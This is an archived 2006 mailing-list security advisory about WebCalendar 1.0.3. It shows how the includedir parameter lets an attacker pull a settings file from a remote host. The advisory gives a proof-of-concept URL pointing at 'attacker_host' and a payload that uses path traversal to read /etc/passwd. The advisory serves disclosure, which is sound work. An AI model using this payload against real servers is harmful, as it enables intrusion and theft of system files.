|
Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com |
WebCalendar-1.0.3 reading of any files
socsam
linuxmail.org
Date: Tue May 30 2006 - 13:31:12 CDT
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Version: WebCalendar-1.0.3
Type: Reading of any files
Description:
-----------------------------
includes/config.php:
line 64
if ( ! empty ( $includedir ) )
$fd =
fopen ( "$includedir/settings.php", "rb", true );
......
while ( ! feof ( $fd ) ) {
$data .= fgets ( $fd, 4096 );
}
$configLines = explode ( "\n", $data );
for ( $n = 0; $n < count ( $configLines ); $n++ ) {
......
$settings[$matches[1]] = $matches[2];
......
$user_inc = $settings['user_inc'];
......
includes/init.php
include_once "includes/$user_inc";
Example:
---------------------------------------
index.php?includedir=http://attacker_host
where in attacker_host exists file settings.php , which content
"
<?php
echo '<?php
# updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300
Unimportant variables can be taken from original settings.php
user_inc: ../../../../../../../../../../../../../../../../etc/passwd
# end settings.php
?>';
?>
"
Requirements
register_globals = On;
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]